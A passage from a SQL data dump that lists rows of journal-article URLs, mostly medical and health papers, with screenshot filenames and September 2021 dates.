16'),(1473,7288,4,0,'https://www.imedpub.com/articles/importance-of-water-in-our-environment.pdf','1473-comm-sct.JPG',0,7,'2021-09-17'),(1474,6032,4,0,'https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8092850/pdf/dmso-14-1919.pdf','1474-comm-sct.JPG',0,7,'2021-09-17'),(1475,6028,4,0,'https://www.imedpub.com/articles/pediatric-surgery-a-new-surgical-specialty-in-nepal-and-its-critical-issues.pdf','1475-comm-sct.JPG',0,7,'2021-09-17'),(1476,6023,4,0,'https://www.hsj.gr/medicine/aquatic-psychomotricity-contribution-toglobal-and-fine-motor-skills-of-elderlywith-stroke.pdf','1476-comm-sct.JPG',0,7,'2021-09-17'),(1477,6006,4,0,'https://www.hsj.gr/medicine/evaluation-of-the-histopathologicalfindings-of-128-persistent-periapicalradiolucent-lesions-of-endodontic-originobtained-during-ap.pdf','1477-comm-sct.JPG',0,7,'2021-09-17'),(1478,6016,4,0,'https://www.eurorad.org/case/17221','1478-comm-sct.JPG',0,7,'2021-09-17'),(1479,5996,4,0,'https://www.hsj.gr/medicine/effects-of-a-multiprofessional-programand-isolated-in-improvement-of-thefunctional-fitness-of-elderly.pdf','1479-comm-sct.JPG',0,7,'2021-09-17'),(1480,6003,4,0,'https://www.hsj.gr/medicine/effects-of-steroid-hormones-on-sleep.pdf','1480-comm-sct.JPG',0,7,'2021-09-17'),(1481,6004,4,0,'https://www.imedpub.com/articles/evaluation-of-microbiological-quality-in-expired-andnonexpired-dairy-canned-food-products-sold-from-samaru-marketzaria-northwest-n.pdf','1481-comm-sct.JPG',0,7,'2021-09-17'),(1482,5984,4,0,'https://www.hsj.gr/medicine/trainee-doctors-perception-ofthe-adequacy-of-support-duringtheir-intensive-care-attachment-aphenomenological-study.pdf','1482-comm-sct.JPG',0,7,'2021-09-17'),(1483,5987,4,0,'https://www.imedpub.com/articles/fast-food-chains-and-obesity-in-oman-commentary-article.pdf','1483-comm-sct.JPG',0,7,'2021-09-17'),(1484,5974,4,0,'https://www.hsj.gr/medicine/nlinked-glycosylation-and-its-potentialapplication-in-drug-development.pdf','1484-comm-sct.JPG',0,7,'2021-09-17'),(1485,5977,4,0,'https://escipub.com/Articles/OJGH/OJGH-2020-08-2805.pdf','1485-comm-sct.JPG',0,7,'2021-09-17'),(1486,5972,4,0,'https://scholarworks.waldenu.edu/cgi/viewcontent.cgi?article=8938&context=dissertations','1486-comm-sct.JPG',0,7,'2021-09-17'),(1487,5954,4,0,'https://obesity.imedpub.com/the-transcutaneous-auricular-vagus-nerve-stimulation-in-treatment-of-depression-and-anxiety-disorders-in-recovery-patient-with-fee.pdf','1487-comm-sct.JPG',0,7,'2021-09-17'),(1488,5958,4,0,'https://www.fisheriessciences.com/abstract/seasonal-variation-of-fatty-acid-composition-of-phospholipid-subclasses-in-muscle-tissue-in-male-alburnus-mossulensis-33711.html','1488-comm-sct.JPG',0,7,'2021-09-17'),(1489,5936,4,0,'https://www.hsj.gr/medicine/locus-of-control-with-learningachievement-student-nurse.pdf','1489-comm-sct.JPG',0,7,'2021-09-17'),(1490,5949,4,0,'http://ujpr.org/index.php/journal/article/download/491/819','1490-comm-sct.JPG',0,7,'2021-09-17'),(1491,5929,4,0,'https://medicalphysics.imedpub.com/dosimetric-effects-of-co60-and-ir192-source-step-size-in-intra-luminal-brachytherapy.pdf','1491-comm-sct.JPG',0,7,'2021-09-17'),(1492,5908,4,0,'https://www.hsj.gr/medicine/the-importance-of-resilience-in-themanagement-of-chronic-pain-inoccupational-therapy-a-general-study.pdf','1492-comm-sct.JPG',0,7,'2021-09-17'),(1493,5909,4,0,'https://www.hsj.gr/medicine/mental-health-and-covid19-infection-systematic-review-in-human-crosssectional-studies.pdf','1493-comm-sct.JPG',0,7,'2021-09-17'),(1494,5918,4,0,'https://www.scitechnol.com/peer-review/antihyperlipidemic-and-cardioprotective-effects-of-plant-natural-products-a-review-rCWi.pdf','1494-comm-sct.JPG',0,7,'2021-09-17'),(1495,5900,4,0,'https://www.imedpub.com/articles/recent-emerging-gut-microbiome-management-modalities-in-acute-diarrhea-in-children-a-comparative-study-review-of-different-probiot.pdf','1495-comm-sct.JPG',0,7,'2021-09-17'),(1496,5887,4,0,'https://www.hsj.gr/medicine/a-novel-approach-to-prevent-pterygiumrecurrence.pdf','1496-comm-sct.JPG',0,7,'2021-09-17'),(1497,5888,4,0,'https://www.hsj.gr/medicine/a-novel-approach-to-prevent-intraocularpressure-spikes-and-reflux-duringintravitreal-injections.pdf','1497-comm-sct.JPG',0,7,'2021-09-17'),(1498,5889,4,0,'https://www.hsj.gr/medicine/diabetic-retinopathy-health-crises-inkurdistan-governorateiraqerbil.pdf','1498-comm-sct.JPG',0,7,'2021-09-17'),(1499,5890,4,0,'https://www.hsj.gr/medicine/a-novel-approach-to-prevent-endothelialteardetachment-in-combined-advancedpseudoexfoliation-syndrome-anddiabetes-mellitus.pdf','1499-comm-sct.JPG',0,7,'2021-09-17'),(1500,6060,4,0,'https://journals.sagepub.com/doi/pdf/10.1177/2397847321997523','1500-comm-sct.JPG',0,7,'2021-09-17'),(1501,8331,1,1,'he ready to  start the process for next step','1501-comm-sct.jpg',6,7,'2021-09-17'),(1502,8331,1,1,'he ready to  start the process for next step','1502-comm-sct.jpg',6,7,'2021-09-17'),(1503,8671,4,0,'https://ijpsr.com/bft-article/mucoadhesive-buccal-drug-delivery-system-a-review/#:~:text=By%20the%20buccal%20route%20the,in%2Dvivo%20mucoadhesion%20testing%20method.','1503-comm-sct.JPG',0,7,'2021-09-18'),(1504,8570,4,0,'https://www.primeopenaccess.com/science-blog/short-note-on-highresolution-computed-tomography-12648','1504-comm-sct.JPG',0,7,'2021-09-18'),(1505,8213,4,0,'https://academic.oup.com/ofid/article/7/Supplement_1/S240/6058620','1505-comm-sct.JPG',0,7,'2021-09-18'),(1506,5873,4,0,'https://heavy-metal-toxicity-diseases.imedpub.com/a-review-paper-on-the-development-of-dual-phase-steel.pdf','1506-comm-sct.JPG',0,7,'2021-09-18'),(1507,5875,4,0,'https://scholarworks.waldenu.edu/cgi/viewcontent.cgi?article=10704&context=dissertations','1507-comm-sct.JPG',0,7,'2021-09-18'),(1508,5852,4,0,'https://figshare.com/articles/dataset/Working_Dogs_in_a_Contaminated_environment_problems_and_possible_solutions_for_the_Safety_At_Work/7379909','1508-comm-sct.JPG',0,7,'2021-09-18'),(1509,5843,4,0,'https://www.imedpub.com/articles/in-silico-analysis-of-structure-activity-relationship-of-conotoxins-with-cav-22-channel-receptor-for-treatment-of-neuropathic-pain.pdf','1509-comm-sct.JPG',0,7,'2021-09-18'),(1510,5832,4,0,'https://www.scivisionpub.com/pdfs/integrating-psychotherapies-in-a-systemic-approach-to-addiction-treatment-in-family-therapy-a-case-study-1324.pdf','1510-comm-sct.JPG',0,7,'2021-09-18'),(1511,5835,4,0,'https://medicalphysics.imedpub.com/effectiveness-of-computer-controlled-wedge-filter-in-reduction-of-penumbra-width-in-siemens-oncor-linear-accelerator.pdf','1511-comm-sct.JPG',0,7,'2021-09-18'),(1512,5839,4,0,'https://www.globalscienceresearchjournals.org/articles/influence-of-different-models-of-frontofpack-nutrition-labeling-on-the-argentinian-consumer-acceptability-case-of-cracke.pdf','1512-comm-sct.JPG',0,7,'2021-09-18'),(1513,5808,4,0,'https://www.fisheriessciences.com/abstract/microbiological-quality-of-fresh-bogue-fish-caught-at-mdiq-port-morocco-33708.html','1513-comm-sct.JPG',0,7,'2021-09-18'),(1514,5815,4,0,'https://pediatric-emergency-care.imedpub.com/the-characteristics-risk-factors-and-visual-outcomes-of-the-preterm-infant-with-retinopathy-of-prematurity-rop-in-a-tertiary-care.pdf','1514-comm-sct.JPG',0,7,'2021-09-18'),(1515,5810,4,0,'https://www.imedpub.com/articles/successful-handling-of-covid19-in-young-patient-with-scid-due-to-carmil2-rltpr-deficiency-a-case-report--review-of-literature.pdf','1515-comm-sct.JPG',0,7,'2021-09-18'),(1516,5794,4,0,'https://journals.plos.org/plosone/article/file?id=10.1371/journal.pone.0251041&type=printable','1516-comm-sct.JPG',0,7,'2021-09-18'),(1517,5779,4,0,'https://www.hsj.gr/medicine/virological-features-diagnosis-and-treatment-a-review-of-covid19.pdf','1517-comm-sct.JPG',0,7,'2021-09-18'),(1518,5780,4,0,'https://www.scirp.org/pdf/oalibj_2020052016321691.pdf','1518-comm-sct.JPG',0,7,'2021-09-18'),(1519,5783,4,0,'https://www.onlinescientificresearch.com/articles/the-role-of-cytokines-and-cellular-receptors-in-the-tuberculosisassociated-immune-reconstitution-inflammatory-syndrome.pdf','1519-comm-sct.JPG',0,7,'2021-09-18'),(1520,5757,4,0,'https://www.hsj.gr/medicine/a-comparative-study-of-maternal-and-childhealth-outcomes-of-pregnant-women-livingwith-and-without-disability-in-kakamegacounty-ken.pdf','1520-comm-sct.JPG',0,7,'2021-09-18'),(1521,5761,4,0,'https://www.ijsr.net/get_count.php?paper_id=SR21112110916','1521-comm-sct.JPG',0,7,'2021-09-18'),(1522,5764,4,0,'https://www.hsj.gr/medicine/relation-of-food-addiction-in-overweightobesity-depression-and-impulsivity-asystematic-review-and-metaanalysis.pdf','1522-comm-sct.JPG',0,7,'2021-09-18'),(1523,5768,4,0,'https://www.hsj.gr/medicine/lavenders-therapy-to-decrease-anxiety-scale-patient-with-premastectomy-surgery-in-the-operation-theatre-murni-teguh-memorial-hospi.pdf','1523-comm-sct.JPG',0,7,'2021-09-18'),(1524,5763,4,0,'https://pediatric-cardiology.imedpub.com/profile-of-patients-with-hypoplastic-left-heart-syndrome-submitted-tothe-first-surgical-stages.pdf','1524-comm-sct.JPG',0,7,'2021-09-18'),(1525,5729,4,0,'https://www.hsj.gr/medicine/prevalence-and-predictors-of-stunting-amongchildren-of-age-between-6-to-23-monthsin-four-districts-of-wolaita-zone-southernethiopi.pdf','1525-comm-sct.JPG',0,7,'2021-09-18'),(1526,5718,4,0,'https://www.imedpub.com/articles/peri-operative-management-of-a-patient-with-sickle-cell-traithematological-aspects.pdf','1526-comm-sct.JPG',0,7,'2021-09-18'),(1527,5715,4,0,'https://psychopathology.imedpub.com/is-there-a-relationship-between-the-pppgppbacterial-alarmone-systems-and-the-mammalian-brain-prpp-pribosepyrophosphate-and-the-mod.pdf','1527-comm-sct.JPG',0,7,'2021-09-18'),(1528,5716,4,0,'https://archives.palarch.nl/index.php/jae/article/view/3988/5881','1528-comm-sct.JPG',0,7,'2021-09-20'),(1529,5719,4,0,'https://www.sciencedirect.com/science/article/pii/S2468600X20300554','1529-comm-sct.JPG',0,7,'2021-09-20'),(1530,5659,4,0,'https://downloads.hindawi.com/journals/ijcd/2018/5183713.pdf','1530-comm-sct.JPG',0,7,'2021-09-20'),(1531,5666,4,0,'https://www.graphyonline.com/archives/IJPNC/2016/IJPNC-117/','1531-comm-sct.JPG',0,7,'2021-09-20'),(1532,5646,4,0,'https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0191225','1532-comm-sct.JPG',0,7,'2021-09-20'),(1533,5648,4,0,'https://pdfs.semanticscholar.org/4390/85d18953ff0f599c55aa2dcd41bbe746c234.pdf?_ga=2.72328787.1984040189.1632112129-1113014890.1629277605','1533-comm-sct.JPG',0,7,'2021-09-20'),(1534,5651,4,0,'https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0170471','1534-comm-sct.JPG',0,7,'2021-09-20'),(1535,5644,4,0,'https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5917195/pdf/TSWJ-2006-6-512923.pdf','1535-comm-sct.JPG',0,7,'2021-09-20'),(1536,5639,4,0,'https://crimsonpublishers.com/icp/pdf/ICP.000538.pdf','1536-comm-sct.JPG',0,7,'2021-09-20'),(1537,5610,4,0,'http://journalcra.com/sites/default/files/issue-pdf/39381.pdf','1537-comm-sct.JPG',0,7,'2021-09-20'),(1538,5608,4,0,'https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7647389/pdf/main.pdf','1538-comm-sct.JPG',0,7,'2021-09-20'),(1539,5490,4,0,'https://obesityworldconference.com/program/scientific-program/bodyweight-never-causes-back-pain-neck-pain-or-disc-prolapse','1539-comm-sct.JPG',0,7,'2021-09-20'),(1540,5518,4,0,'https://www.sciencedirect.com/science/article/abs/pii/S1871403X19305472','1540-comm-sct.JPG',0,7,'2021-09-20'),(1541,5483,4,0,'https://www.imedpub.com/articles/adverse-effects-of-aspirin-on-the-gastrointestinal-tract--brain.pdf','1541-comm-sct.JPG',0,7,'2021-09-20'),(1542,5484,4,0,'https://www.imedpub.com/articles/detection-of-ddos-attack-using-traffic-analysis.pdf','1542-comm-sct.JPG',0,7,'2021-09-20'),(1543,5437,4,0,'https://www.hsj.gr/medicine/mind-and-machine-two-sides-of-the-same-coin.pdf','1543-comm-sct.JPG',0,7,'2021-09-20'),(1544,5465,4,0,'https://www.hsj.gr/medicine/assessment-and-comparative-study-ofjob-stress-in-jam-hospital-jobs-tehrancity.pdf','1544-comm-sct.JPG',0,7,'2021-09-20'),(1545,5466,4,0,'https://behaviouralscience.imedpub.com/chlorine-manufacturing-industry-and-workrelated-voice-disorders-and-their-hazards.pdf','1545-comm-sct.JPG',0,7,'2021-09-20'),(1546,5467,4,0,'https://www.hsj.gr/medicine/high-blood-pressure-hbp-and-shiftwork-sw-an-assessment-of-the-frenchrailwaysworkers-sncf.pdf','1546-comm-sct.JPG',0,7,'2021-09-20'),(1547,5427,4,0,'https://www.scitechnol.com/peer-review/analysis-of-the-muscular-activity-of-anticipation-of-the-deltoid-in-a-fall-reception-movement-pilot-study-OE7g.pdf','1547-comm-sct.JPG',0,7,'2021-09-20'),(1548,5419,4,0,'http://www.remedypublications.com/open-access/a-30-year-old-oral-contraceptive-user-with-mild-covid-19-6510.pdf','1548-comm-sct.JPG',0,7,'2021-09-20'),(1549,5474,4,0,'https://www.scitcentral.com/documents/6e05255ac3383151dd34e1e938719b02.pdf','1549-comm-sct.JPG',0,7,'2021-09-20'),(1550,5389,4,0,'https://www.hsj.gr/medicine/high-blood-pressure-from-alucam-groupsworkers-the-impact-of-the-activity.pdf','1550-comm-sct.JPG',0,7,'2021-09-20'),(1551,5390,4,0,'https://www.imedpub.com/editorial-tracking/download.php?file=5390-0-Manuscript-2020-07-27.pdf&sb_id=8995&table_type=','1551-comm-sct.JPG',0,7,'2021-09-20'),(1552,5408,4,0,'https://www.actascientific.com/ASMI/pdf/ASMI-02-0250.pdf','1552-comm-sct.JPG',0,7,'2021-09-20'),(1553,5394,4,0,'https://www.inderscience.com/info/inarticle.php?artid=98451','1553-comm-sct.JPG',0,7,'2021-09-20'),(1554,5395,4,0,'https://www.inderscienceonline.com/doi/pdf/10.1504/IJNT.2018.098452','1554-comm-sct.JPG',0,7,'2021-09-20'),(1555,5396,4,0,'https://www.inderscienceonline.com/doi/pdf/10.1504/IJNT.2018.098449','1555-comm-sct.JPG',0,7,'2021-09-20'),(1556,5399,4,0,'https://hiv.imedpub.com/establishment-of-a-virulent-fulllength-cdna-clone-for-middle-east-respiratory-syndrome-coronavirus-merscov.pdf','1556-comm-sct.JPG',0,7,'2021-09-20'),(1557,5351,4,0,'https://asnj.journals.ekb.eg/article_56975_9d9a38aac17a8bf3f3107e352cfef5ec.pdf','1557-comm-sct.JPG',0,7,'2021-09-20'),(1558,5353,4,0,'https://www.pulsus.com/scholarly-articles/correlates-of-covid19-or-coronavirus-infection-among-individuals-with-substance-abuse-disorder.pdf','1558-comm-sct.JPG',0,7,'2021-09-20'),(1559,5331,4,0,'https://www.ejmcm.com/pdf_10402_3b500fa0b3f54ec5c9e030b3ac05dbae.html','1559-comm-sct.JPG',0,7,'2021-09-20'),(1560,5319,4,0,'https://obesity.imedpub.com/current-innovations-in-the-field-of-obesity-and-eating-disorders.pdf','1560-comm-sct.JPG',0,7,'2021-09-20'),(1561,5305,4,0,'https://www.imedpub.com/articles/surgical-approach-to-complicated-abdominal-metastasis-of-cutaneous-melanoma.pdf','1561-comm-sct.JPG',0,7,'2021-09-20'),(1562,5295,4,0,'http://ijcrr.com/uploads/3758_pdf.pdf','1562-comm-sct.JPG',0,7,'2021-09-20'),(1563,5273,4,0,'https://www.medwinpublishers.com/JONAM/role-of-turmeric-with-calcium-hydroxide-in-combination-in-prophylaxis-&-therapeutic-management-of-sars-cov2-covid-19-corona-virus.pdf','1563-comm-sct.JPG',0,7,'2021-09-20'),(1564,5264,4,0,'https://www.imedpub.com/articles/kleptomania-and-other-disinhibition-linked-withpseudobulbar-affect-resulting-from-tbi-treatmentremission-from-dextromethorphanquin.pdf','1564-comm-sct.JPG',0,7,'2021-09-20'),(1565,5260,4,0,'https://www.imedpub.com/articles/screening-and-repositioning-of-the-drugs-that-possess-binding-affinity-towards-notch-1-receptor-thereby-inhibiting-cell-proliferat.pdf','1565-comm-sct.JPG',0,7,'2021-09-20'),(1566,5238,4,0,'https://www.hilarispublisher.com/open-access/the-effect-of-tahajud-prayer-history-on-attention-postacute-stress-exposure.pdf','1566-comm-sct.JPG',0,7,'2021-09-20'),(1567,5213,4,0,'https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0235063','1567-comm-sct.JPG',0,7,'2021-09-20'),(1568,5185,4,0,'https://www.imedpub.com/articles/the-values-of-cytokines-in-evaluating-theseverity-and-prognosis-of-covid19.pdf','1568-comm-sct.JPG',0,7,'2021-09-20'),(1569,5107,4,0,'https://opastonline.com/wp-content/uploads/2018/10/laparoscopic-pancreatic-pseudocystogastrostomy-series-case-report-jgds-18.pdf','1569-comm-sct.JPG',0,7,'2021-09-20'),(1570,5106,4,0,'https://www.imedpub.com/articles/is-neurocognition-crucial-in-stem-education-in-the-present-scenario.pdf','1570-comm-sct.JPG',0,7,'2021-09-20'),(1571,5086,4,0,'https://www.imedpub.com/articles/ai-and-robotics-air-solution-validation-platform.pdf','1571-comm-sct.JPG',0,7,'2021-09-20'),(1572,5081,4,0,'https://pharmascope.org/index.php/ijrps/article/view/4364/11960','1572-comm-sct.JPG',0,7,'2021-09-20'),(1573,5072,4,0,'https://www.ejosdr.com/download/nuclear-energy-non-electric-applications-9305.pdf','1573-comm-sct.JPG',0,7,'2021-09-20'),(1574,5077,4,0,'https://www.journalcra.com/sites/default/files/issue-pdf/39243.pdf','1574-comm-sct.JPG',0,7,'2021-09-20'),(1575,5068,4,0,'https://www.longdom.org/open-access/effects-of-polymer-injectivity-concentration-on-timevariation-relative-permeability.pdf','1575-comm-sct.JPG',0,7,'2021-09-20'),(1576,5026,4,0,'https://clinical-experimental-nephrology.imedpub.com/persistent-preformed-donorspecific-antibodies-and-clinical-risks-of-de-novo-donorspecific-antibody-development-after-kidney-transp.pdf','1576-comm-sct.JPG',0,7,'2021-09-20'),(1577,5002,4,0,'https://www.hilarispublisher.com/open-access/influence-of-the-covid19-pandemic-on-the-quality-of-life-of-families-with-children-suffering-from-epilepsy-in-ukraine.pdf','1577-comm-sct.JPG',0,7,'2021-09-20'),(1578,5020,4,0,'https://www.longdom.org/open-access/effective-balance-rehabilitation-in-cerebral-palsy-the-use-of-translingual-neurostimulation-tlns.pdf','1578-comm-sct.JPG',0,7,'2021-09-20'),(1579,5021,4,0,'https://www.longdom.org/open-access/headache-in-pediatric-and-adolescent-patients-with-duchenne-and-becker-muscular-dystrophiesan-observational-study.pdf','1579-comm-sct.JPG',0,7,'2021-09-20'),(1580,4949,4,0,'https://psychopathology.imedpub.com/psychopathological-identification-of-roles-in-induced-delusional-research-article.pdf','1580-comm-sct.JPG',0,7,'2021-09-20'),(1581,4960,4,0,'https://www.longdom.org/open-access/solidstate-nmr-crystallography-from-catalytic-active-complexes-to-enzymes.pdf','1581-comm-sct.JPG',0,7,'2021-09-20'),(1582,4977,4,0,'http://www.remedypublications.com/open-access/biomarkers-for-diagnosis-and-management-of-eosinophilic-asthma-5986.pdf','1582-comm-sct.JPG',0,7,'2021-09-20'),(1583,4932,4,0,'https://www.scitechnol.com/conference-abstracts-files/2324-8955-C1-001-002.pdf','1583-comm-sct.JPG',0,7,'2021-09-20'),(1584,4907,4,0,'https://www.academia.edu/43451877/Health_Literacy_Role_towards_Changing_on_Health_Behavior_of_Girl_Students','1584-comm-sct.JPG',0,7,'2021-09-20'),(1585,4860,4,0,'https://www.imedpub.com/articles/secure-data-sharing-of-health-care-data-using-smart-contract.pdf','1585-comm-sct.JPG',0,7,'2021-09-20'),(1586,4872,4,0,'https://www.imedpub.com/articles/visuallyguided-robotic-machining-of-complex-components.pdf','1586-comm-sct.JPG',0,7,'2021-09-20'),(1587,4830,4,0,'https://www.ijppr.humanjournals.com/wp-content/uploads/2020/09/2.GIOGI-NANIA-RAJESH-R-R-K-SELVA-KUMAR.pdf','1587-comm-sct.JPG',0,7,'2021-09-20'),(1588,4815,4,0,'https://pubmed.ncbi.nlm.nih.gov/27228582/','1588-comm-sct.JPG',0,7,'2021-09-20'),(1589,4807,4,0,'https://obesity.imedpub.com/obesityrelated-inflammation-and-covid19-prognosis-is-the-white-adipose-thevillain.pdf','1589-comm-sct.JPG',0,7,'2021-09-20'),(1590,4793,4,0,'https://ir-library.ku.ac.ke/bitstream/handle/123456789/22314/Trimester%20Related%20Reference%20Interval....pdf?sequence=1&isAllowed=y','1590-comm-sct.JPG',0,7,'2021-09-20'),(1591,4791,4,0,'https://www.pulsus.com/scholarly-articles/review-of-cotton-leaf-curl-virus-clcuv-alongwith-its-strains-clcumuv-and-clcubuv.pdf','1591-comm-sct.JPG',0,7,'2021-09-20'),(1592,4766,4,0,'https://dergipark.org.tr/tr/download/article-file/1174147','1592-comm-sct.JPG',0,7,'2021-09-20'),(1593,4747,4,0,'https://obesity.imedpub.com/six-of-one-half-a-dozen-of-the-other-can-we-successfully-incorporated-interviewing-techniques-for-weight-loss-problems-in-bipolar.pdf','1593-comm-sct.JPG',0,7,'2021-09-20'),(1594,4749,4,0,'https://www.scholarsresearchlibrary.com/abstract/effect-of-natural-gas-purity-on-hvof-coatings-using-a-commercial-powder-of-d1008rniron-based-on-a-forged-low-alloy-steel-51793.html','1594-comm-sct.JPG',0,7,'2021-09-20'),(1595,4730,4,0,'https://medicalphysics.imedpub.com/validating-the-percentage-depth-doses-using-two-different-phantom-materials.pdf','1595-comm-sct.JPG',0,7,'2021-09-20'),(1596,4715,4,0,'https://www.ajrsp.com/en/Archive/issue-15/Status%20of%20distribution%20of%20coronavirus%20disease.pdf','1596-comm-sct.JPG',0,7,'2021-09-20'),(1597,4683,4,0,'https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7476338/pdf/10.1177_1753466620951053.pdf','1597-comm-sct.JPG',0,7,'2021-09-20'),(1598,4635,4,0,'https://www.imedpub.com/articles/neurone-expressions-in-some-regions-of-brain-of-the-helmeted-guinea-fowlnumida-meleagris-galeata-a-posthatch-study.pdf','1598-comm-sct.JPG',0,7,'2021-09-20'),(1599,4616,4,0,'https://pdfs.semanticscholar.org/55da/9f21a18cbf6bd040b9447bee591b8fd5ae13.pdf?_ga=2.242527810.1984040189.1632112129-1113014890.1629277605','1599-comm-sct.JPG',0,7,'2021-09-20'),(1600,4594,4,0,'https://www.hsj.gr/medicine/covid19-the-hypothesis-of-cohabitation.pdf','1600-comm-sct.JPG',0,7,'2021-09-20'),(1601,4593,4,0,'https://escipub.com/Articles/AJCRR/AJCRR-2020-07-1705.pdf','1601-comm-sct.JPG',0,7,'2021-09-20'),(1602,4567,4,0,'https://www.hsj.gr/medicine/dry-needling-versus-soft-tissue-release-to-treat-migraine-headache-a-randomized-clinical-trial.pdf','1602-comm-sct.JPG',0,7,'2021-09-20'),(1603,4560,4,0,'https://actascientific.com/ASMI/pdf/ASMI-03-0644.pdf','1603-comm-sct.JPG',0,7,'2021-09-20'),(1604,4497,4,0,'https://innovareacademics.in/journals/index.php/ijcpr/article/view/39772/23633','1604-comm-sct.JPG',0,7,'2021-09-20'),(1605,4472,4,0,'https://healthcare-communications.imedpub.com/from-ebola-to-covid19-reshaping-funerals-and-burial-rites-in-africa.pdf','1605-comm-sct.JPG',0,7,'2021-09-20'),(1606,4469,4,0,'https://www.imedpub.com/articles/analysis-of-the-static-postural-balance-at-3-months-after-hallux-valgus-surgery-controlledstudy.pdf','1606-comm-sct.JPG',0,7,'2021-09-20'),(1607,4442,4,0,'https://kosmospublishers.com/covid19-dilemmas-in-securing-vulnerable-fragile-at-extra-risk-cohorts-not-left-behind/','1607-comm-sct.JPG',0,7,'2021-09-20'),(1608,4383,4,0,'https://www.advmodoncolres.sg/index.php/re/article/view/2367','1608-comm-sct.JPG',0,7,'2021-09-20'),(1609,4362,4,0,'https://jrenhep.com/index.php/jrenhep/article/view/78/139','1609-comm-sct.JPG',0,7,'2021-09-20'),(1610,4366,4,0,'https://www.longdom.org/open-access/optimization-practical-scara-robot-trajectory-based-on-a-linear-quadratic-controller.pdf','1610-comm-sct.JPG',0,7,'2021-09-20'),(1611,4331,4,0,'https://www.imedpub.com/articles/retroperitoneal-liposarcomaexcision-of-retroperitoneal-tumor-and-right-nephrectomy-a-case-study.pdf','1611-comm-sct.JPG',0,7,'2021-09-20'),(1612,4356,4,0,'https://www.researchgate.net/publication/341655746_SPC_Journal_of_Food_and_Nutrition_Sciences_Research_intoon_disease_and_pharmacognosy_and_natural_medicine_and_medical_science','1612-comm-sct.JPG',0,7,'2021-09-21'),(1613,4314,4,0,'https://www.imedpub.com/articles/what-are-the-barriers-to-increase-breast-cancer-screening-in-india.pdf','1613-comm-sct.JPG',0,7,'2021-09-21'),(1614,4268,4,0,'https://scholar.cu.edu.eg/sites/default/files/asem_n/files/6-_hepatocellular_carcinoma_multidisciplinary_clinic-cairo_university_hmc-cu_score_a_new_simple_score_for_diagnosis_of_hcc_0.pdf','1614-comm-sct.JPG',0,7,'2021-09-21'),(1615,4238,4,0,'https://storage.googleapis.com/journal-uploads/ejpmr/article_issue/1598693808.pdf','1615-comm-sct.JPG',0,7,'2021-09-21'),(1616,4245,4,0,'https://www.imedpub.com/articles/peripartum-cardiomyopathy-it-is-possible-to-make-a-prenatal-diagnosis.pdf','1616-comm-sct.JPG',0,7,'2021-09-21'),(1617,4231,4,0,'https://interventional-radiology.imedpub.com/the-value-of-threedimensional-mr-imaging-in-displaying-triangularfibrocartilage-complex.pdf','1617-comm-sct.JPG',0,7,'2021-09-21'),(1618,4217,4,0,'https://digital.wpi.edu/downloads/gx41mm231?locale=en','1618-comm-sct.JPG',0,7,'2021-09-21'),(1619,4172,4,0,'https://www.medrxiv.org/content/10.1101/2020.06.03.20121137v1.full.pdf','1619-comm-sct.JPG',0,7,'2021-09-21'),(1620,4162,4,0,'http://www.sciepub.com/portal/downloads?doi=10.12691/aees-8-5-10&filename=aees-8-5-10.pdf','1620-comm-sct.JPG',0,7,'2021-09-21'),(1621,4145,4,0,'https://ijmrr.medresearch.in/index.php/ijmrr/article/view/1208/2104','1621-comm-sct.JPG',0,7,'2021-09-21'),(1622,4152,4,0,'https://www.imedpub.com/articles/transnasal-endoscopic-resection-of-the-intraconal-metastases-from-renal-cell-carcinoma-a-case-report.pdf','1622-comm-sct.JPG',0,7,'2021-09-21'),(1623,4157,4,0,'https://medicalphysics.imedpub.com/computed-tomography-ct-automatic-exposure-controls-aec-testing-protocol-using-a-celt-phantom.pdf','1623-comm-sct.JPG',0,7,'2021-09-21'),(1624,4112,4,0,'https://storage.googleapis.com/journal-uploads/wjpps/article_issue/1590828496.pdf','1624-comm-sct.JPG',0,7,'2021-09-21'),(1625,4114,4,0,'https://pediatric-emergency-care.imedpub.com/emergency-department-resource-utilization-in-the-management-of-croup.pdf','1625-comm-sct.JPG',0,7,'2021-09-21'),(1626,4101,4,0,'https://mansapublishers.com/IJCR/article/view/2409/1951','1626-comm-sct.JPG',0,7,'2021-09-21'),(1627,4094,4,0,'https://www.imedpub.com/articles/a-chemical-disaster-in-vizag-during-covid19-pandemic.pdf','1627-comm-sct.JPG',0,7,'2021-09-21'),(1628,4078,4,0,'https://www.imedpub.com/articles/tissue-engineering-for-the-temporomandibular-joint-an-updated-review.pdf','1628-comm-sct.JPG',0,7,'2021-09-21'),(1629,4057,4,0,'https://www.imedpub.com/articles/successful-pregnancy-in-a-patient-with-recurrent-pregnancy-loss-due-to-afibrinogenemia-managed-with-cryoprecipitate-prophylaxis-in.pdf','1629-comm-sct.JPG',0,7,'2021-09-21'),(1630,4055,4,0,'https://www.imedpub.com/articles/successful-pregnancy-in-a-patient-with-recurrent-pregnancy-loss-due-to-afibrinogenemia-managed-with-cryoprecipitate-prophylaxis-in.pdf','1630-comm-sct.JPG',0,7,'2021-09-21'),(1631,4053,4,0,'https://www.imedpub.com/articles/deeplearning-based-cubesats-detection-and-attitude-estimation.pdf','1631-comm-sct.JPG',0,7,'2021-09-21'),(1632,4039,4,0,'https://www.imedpub.com/articles/management-of-toxicities-from-immunotherapy-in-cancer-patients.pdf','1632-comm-sct.JPG',0,7,'2021-09-21'),(1633,4004,4,0,'http://www.scientizepublishers.com/wp-content/uploads/2021/03/Malaria-in-A-Single-Kidney-Donor-Case-Report-from-Taranaki-New-Zealand.pdf','1633-comm-sct.JPG',0,7,'2021-09-21'),(1634,3973,4,0,'https://structural-crystallography.imedpub.com/prof-dr-ratnesh-dwivedi-discusses-everything-about-wuhan-virus-in-research-paper-for-a-scopus-indexed-conference-on-crystallograph.pdf','1634-comm-sct.JPG',0,7,'2021-09-21'),(1635,3963,4,0,'https://psychopathology.imedpub.com/executive-functions-and-levels-of-stress-in-decisionmaking-a-study-of-adolescents-with-cleft-lip-and-palate.pdf','1635-comm-sct.JPG',0,7,'2021-09-21'),(1636,3954,4,0,'https://obesity.imedpub.com/bariatric-surgery-in-morbid-obesity-patient-can-cure-pulmonary-hypertension-and-obstructive-apnea-a-case-review.pdf','1636-comm-sct.JPG',0,7,'2021-09-2